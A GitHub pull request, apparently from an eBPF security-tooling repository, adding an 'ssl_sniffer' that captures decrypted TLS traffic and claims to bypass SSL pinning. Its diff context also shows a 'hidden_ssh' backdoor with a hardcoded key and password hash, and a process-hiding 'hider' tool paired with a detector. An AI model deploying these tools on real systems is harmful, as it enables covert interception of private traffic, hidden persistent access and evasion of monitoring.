Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

feat: added ssl_sniffer #1

Merged
merged 11 commits into from
May 14, 2024
Binary file added resources/ssl_sniffer_demo.gif
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
3 changes: 3 additions & 0 deletions scripts/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# Scripts directory

This directory contains scripts that are useful for various tasks or testing. They are not part of the main project and are not required for the project to work.
37 changes: 34 additions & 3 deletions src/ssl_sniffer/bpftrace_demo.sh → scripts/bpftrace_demo.sh
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,7 @@ fi
printf "The program '$program' uses the following libraries:\n"
echo "$libs"

# Building the bpftrace command
# Building the bpftrace command for reading and writing in a buffer

for lib in $libs; do
if [ $(echo $lib | grep -c "libssl") -gt 0 ]; then
Expand All @@ -57,11 +57,42 @@ for lib in $libs; do
fi
done

# Special programs

# If program name is "nginx", we need to trace itself with "ngx_ssl_write" and "ngx_ssl_recv" (it doesnt use any of the libraries above)
if [ $(echo $program | grep -c "nginx") -gt 0 ]; then
echo "- Nginx detected"
bptrace_start_args="$bptrace_start_args uprobe:$real_path:ngx_ssl_write,"
bptrace_start_args="$bptrace_start_args uprobe:$real_path:ngx_ssl_recv,"
bptrace_end_args="$bptrace_end_args uretprobe:$real_path:ngx_ssl_write,"
bptrace_end_args="$bptrace_end_args uretprobe:$real_path:ngx_ssl_recv,"
fi

# Removing the trailing comma
bptrace_start_args=$(echo $bptrace_start_args | sed 's/,$//')
bptrace_end_args=$(echo $bptrace_end_args | sed 's/,$//')

full_cmd="$bpftrace_cmd -e '$bptrace_start_args { @ctx[pid] = arg0; @buf[pid] = arg1; @len[pid] = arg2; } $bptrace_end_args { printf(\"[%d/%s] %s(%p, %p, %d)\", pid, comm, probe, @ctx[pid], @buf[pid], @len[pid]); if ((int32)retval > 0) { @slen = retval; if (@slen >= 64) { printf(\" [[\n%s\n]] (truncated)\", str(@buf[pid], @slen)); } else { printf(\" [[\n%s\n]]\", str(@buf[pid], @slen)); } } printf(\"\n\"); delete(@ctx[pid]); delete(@buf[pid]); delete(@len[pid]); }'"
full_cmd="$bpftrace_cmd -e '$bptrace_start_args {
@ctx[pid] = arg0;
@buf[pid] = arg1;
@len[pid] = arg2;
} $bptrace_end_args {
printf(\"[%d/%s] %s(%p, %p, %d)\", pid, comm, probe, @ctx[pid], @buf[pid], @len[pid]);
if ((int32)retval > 0) {
@slen = retval;
if (@slen >= 64) {
printf(\" [[\n%s\n]] (truncated)\", str(@buf[pid], @slen));
}
else
{
printf(\" [[\n%s\n]]\", str(@buf[pid], @slen));
}
}
printf(\"\n\");
delete(@ctx[pid]);
delete(@buf[pid]);
delete(@len[pid]);
}'"

# Running the bpftrace command
eval $full_cmd
Expand All @@ -70,7 +101,7 @@ exit 0

# Some specific examples

# Anyconnect Cisco (they use libacciscossl.so instead of native libssl)
# Anyconnect Cisco (they use libacciscossl.so instead of system's libssl)
bpftrace -e '
uprobe:/opt/cisco/anyconnect/lib/libacciscossl.so:SSL_read,
uprobe:/opt/cisco/anyconnect/lib/libacciscossl.so:SSL_write {
Expand Down
25 changes: 17 additions & 8 deletions src/common.mk
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
ARCH ?= $(shell uname -m)
ARCH ?= $(shell uname -m|sed 's/x86_64/x86/'|sed 's/aarch64/arm/')
LIBBPF_PATH = $(ROOTDIR)/../lib/libbpf/src
LIBBPF_FLAGS = -I$(LIBBPF_PATH) -L$(LIBBPF_PATH) -l:libbpf.a
LIBBPF_FLAGS = -I$(LIBBPF_PATH) -L$(LIBBPF_PATH) -l:libbpf.a -lbpf
COMMON_INCLUDES = -I.
RELEASE_DIR = $(ROOTDIR)/../dst

all: $(APPS)
Expand All @@ -12,21 +13,29 @@ release_dest: $(APPS)
release: release_dest
make clean

%.o: %.c
$(call msg,CC,$@)
clang -Wall -O2 $(CFLAGS) -c $< -o $@ $(INCLUDES) $(COMMON_INCLUDES)

# Build application binary
$(APPS): %: | $(EBPF).skel.h libbpf
$(APPS): %: | $(APPS).skel.h libbpf $(OBJ)
$(call msg,BINARY,$@)
clang -Wall -O2 $@.c $(CFLAGS) $(LIBBPF_FLAGS) -lelf -lz -o $@ -static
clang -Wall -O2 $@.c $(CFLAGS) $(OBJ) $(LIBBPF_FLAGS) -lelf -lz -o $@ -static
strip $@

# eBPF skeleton
$(EBPF).skel.h: $(EBPF).bpf.o
$(APPS).skel.h: $(APPS).bpf.o
$(call msg,GEN-SKEL,$@)
bpftool gen skeleton $< > $@

# build eBPF object file
$(APPS).bpf.o: $(EBPF).bpf.o
$(call msg,BPF,$@)
bpftool gen object $@ $<

# build each eBPF object file
$(EBPF).bpf.o: $(EBPF).bpf.c vmlinux.h
$(call msg,BPF,$@)
clang -O2 -g -Wall -target bpf -D__KERNEL__ -D__TARGET_ARCH_$(ARCH) -I . $(INCLUDES) $(COMMON_INCLUDES) $(CLANG_BPF_SYS_INCLUDES) -c $(filter %.c,$^) -o $@
clang -O2 -g -Wall -target bpf -D__KERNEL__ -D__TARGET_ARCH_$(ARCH) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) $(CLANG_BPF_SYS_INCLUDES) -c $(filter %.c,$^) -o $@
llvm-strip -g --strip-unneeded $@

vmlinux.h:
Expand All @@ -37,7 +46,7 @@ libbpf:
make -C $(LIBBPF_PATH)

clean:
rm -f $(APPS) $(EBPF).bpf.o $(EBPF).skel.h vmlinux.h $(EXTRA_APPS)
rm -f $(APPS) $(EBPF).bpf.o $(EBPF).skel.h vmlinux.h $(EXTRA_APPS) $(OBJ) $(APPS).bpf.o $(APPS).skel.h

xdpstatus:
watch -n 0.5 bpftool net
Expand Down
14 changes: 7 additions & 7 deletions src/hidden_ssh/hidden_ssh.c
Original file line number Diff line number Diff line change
Expand Up @@ -6,16 +6,16 @@
#include <bpf/bpf.h>

#include "backdoor.def.h"
#include "backdoor.skel.h"
#include "hidden_ssh.skel.h"

char backdoor_publickey[] = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHgLzgvt+dvcDklpa1+j0fiaodAaHIP552JCnmDw00to";
char backdoor_hashed_passwd[] = "$6$a$WURSl9l0w.6ozNrOYJOTooNhEM03emqmdNIgu8oSwzJxM.gyGCnRGqUsecNA3sRz.sJi6HwnI1yiX5yugU2/R1"; // lol

struct backdoor_bpf *skel;
struct hidden_ssh_bpf *skel;

static void int_exit(int sig)
{
backdoor_bpf__destroy(skel);
hidden_ssh_bpf__destroy(skel);
exit(0);
}

Expand Down Expand Up @@ -155,20 +155,20 @@ int main(int argc, char **argv)
{
int err;

skel = backdoor_bpf__open();
skel = hidden_ssh_bpf__open();
if (!skel)
{
fprintf(stderr, "Failed to open and load BPF skeleton\n");
return 1;
}

err = backdoor_bpf__load(skel);
err = hidden_ssh_bpf__load(skel);
if (err)
{
fprintf(stderr, "Failed to open and load BPF skeleton\n");
}

err = backdoor_bpf__attach(skel);
err = hidden_ssh_bpf__attach(skel);
if (err)
{
fprintf(stderr, "Failed to attach BPF skeleton\n");
Expand All @@ -190,7 +190,7 @@ int main(int argc, char **argv)

signal(SIGINT, int_exit);
signal(SIGTERM, int_exit);
printf("backdoor_bpf loaded successfully.\n");
printf("hidden_ssh_bpf loaded successfully.\n");
while (1)
{
sleep(2);
Expand Down
2 changes: 1 addition & 1 deletion src/hide_pid/Makefile
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
APPS := hide_pid
APPS := hider
EXTRA_APPS := finder
EBPF := hider
ROOTDIR := $(abspath $(CURDIR)/../)
Expand Down
12 changes: 6 additions & 6 deletions src/hide_pid/README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# hide_pid
# hider

![hide_pid_demo](../../resources/hide_pid_demo.gif)
![hider_demo](../../resources/hide_pid_demo.gif)

All processes in Linux have a PID (Process IDentifier) that is used to identify them. This is a unique number that is assigned to each process by the kernel. Programs like `ps` and `top` use this PID to identify processes. They work by listing the contents of the `/proc` directory, which contains a directory for each process, named after the PID of the process.

Expand All @@ -15,13 +15,13 @@ When you're using `ps` or `top`, the `getdents64` syscall is used to list the co
After compiling the program, run it as root:

```bash
$ ./hide_pid PID|FILE_NAME|DIR_NAME
$ ./hider PID|FILE_NAME|DIR_NAME
```

or

```bash
$ ./hide_pid
$ ./hider
```

Yup .. that's it... The program will hide itself from the output of `ps` and `top`.
Expand All @@ -43,7 +43,7 @@ First, compile the program:
$ make finder
```

Then (when ran with the hide_pid program running):
Then (when ran with the `hider` program running):

```bash
$ ./finder /proc
Expand All @@ -59,7 +59,7 @@ Total anomalies: 1
(/proc) is hidding some stuff !
```

The implementation of `hide_pid` is fairly easy to detect. As we are only affecting the output of the `getdents64` syscall, we can use `getdents` to find the hidden files / directories. If we were to also hide the `getdents` syscall, we would have to use a different approach by checking the `dirent64` structure returned by the `getdents(64)` syscall for anomalies (which is also implemented in `finder.c`).
The implementation of `hider` is fairly easy to detect. As we are only affecting the output of the `getdents64` syscall, we can use `getdents` to find the hidden files / directories. If we were to also hide the `getdents` syscall, we would have to use a different approach by checking the `dirent64` structure returned by the `getdents(64)` syscall for anomalies (which is also implemented in `finder.c`).

>[!NOTE]
> We can apply the same technique with symlink if malware/rootkit are filtering over the `/proc` or any other directories as they cannot resolve the symlink.
Expand Down
File renamed without changes.
2 changes: 1 addition & 1 deletion src/icmp_pingback/maps/Makefile
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Makefile for eBPF ICMP pingback program

APPS := icmp_pingback
APPS := icmp
EBPF := icmp
ROOTDIR := $(abspath $(CURDIR)/../../)

Expand Down
File renamed without changes.
2 changes: 1 addition & 1 deletion src/icmp_pingback/minimum/Makefile
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Makefile for eBPF ICMP pingback program

APPS := icmp_pingback
APPS := icmp
EBPF := icmp
ROOTDIR := $(abspath $(CURDIR)/../../)

Expand Down
7 changes: 7 additions & 0 deletions src/ssl_sniffer/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
APPS := sniffer
EBPF := ebpf/main
OBJ := ebpf/loader.o utils/libresolver.o
ROOTDIR := $(abspath $(CURDIR)/../)
CFLAGS := -Iinclude -Iebpf

include $(ROOTDIR)/common.mk
68 changes: 63 additions & 5 deletions src/ssl_sniffer/README.md
Original file line number Diff line number Diff line change
@@ -1,10 +1,68 @@
# SSL Sniffer

> [!NOTE]
> Still in WIP. A `bpftrace_demo.sh` script is provided to try to sniff any encrypted messages on a provided program.
> Run the script with `sudo ./bpftrace_demo.sh <program_name/path>`.
`ssl_sniffer` is a simple tool to sniff on-going SSL/TLS traffic on the machine without installing, trusting, or modifying any certificate. It will **intercept the raw decrypted SSL/TLS traffic**, and display it on the fly.

`ssl_sniffer` is a simple tool to sniff on-going SSL/TLS traffic on the machine without installing, trusting, or modifying any certificate. It will **intercept the SSL/TLS traffic** and **decrypt it** on the fly at the system SSL libraries level.
![ssl_demo](../../resources/ssl_sniffer_demo.gif)

## Features

- ✅ Sniff many SSL/TLS libraries (OpenSSL, GnuTLS, NSS)
- ✅ On-the-fly SSL/TLS traffic sniffing (no need to install certificates & restart the application)
- ✅ Bypass SSL Pinning
- 🚧 [**Planned**] protocol parsing (HTTP2+)

It supports out-of-the-box the following applications:
- `curl`
- `wget`
- `nginx` (not all versions, some have inbuilt SSL/TLS support)
& many more...

## Usage

```bash
$ sudo ./ssl_sniffer
libssl.so probes attached to ...
```

From there, any application making uses of the system's SSL/TLS libraries will be sniffed. The output will be displayed on the terminal.

```bash
$ sudo ./ssl_sniffer
...
Press Ctrl+C to stop
[+] curl(12345), ts: 1234567890, op: SSL_OP_WRITE, len: 78 -->
GET / HTTP/1.1
Host: www.google.com
User-Agent: curl/7.81.0
Accept: */*


[+] curl(12345), ts: 1234567890, op: SSL_OP_READ, len: 1378 -->
HTTP/1.1 200 OK
Date: ...
Set-Cookie: ...
...
```

## How it works

`ssl_sniffer` is an eBPF program that will be attached to various uprobe and kprobe events to intercept the SSL/TLS traffic. It supports the following libraries:
- OpenSSL
- GnuTLS
- NSS

> [!IMPORTANT]
> Despite trying to sniff most of the SSL/TLS traffic, some applications might not be appearing in the traffic. This is because the application might be **using a different non supported SSL/TLS library**, **bringing their own library** in a directory which is not being sniffed or are **statically compiled** with the SSL/TLS library.
> Despite trying to sniff most of the SSL/TLS traffic, some applications might not be appearing in the traffic. This is because the application might be **using a different non supported SSL/TLS library**, **bringing their own library** in a directory which is not being sniffed or have **inbuilt SSL/TLS support**. It would still be possible to hijack them if we know their paths and trying to guess func. by their DWARF info.
>
> The hardest case is when the statically compiled application is using **non-standard SSL/TLS libraries** and have **no DWARF info**. In this case, it's better to give up unless we know the functions locations.

## Requirements

- Kernel version **>= 5.8** (could be lower but that requires to ditch ring buffer's and replace them with perf buffers)

Tested on:
- Ubuntu 22.04 LTS (kernel 5.15.0-106-generic)

## Extra

A `bpftrace_demo.sh` script is provided to try to sniff any encrypted SSL/TLS traffic on specified programs. It will use `bpftrace` to compile and load the eBPF program. It's a simplier version of the `ssl_sniffer` tool with truncated output.
Loading
Loading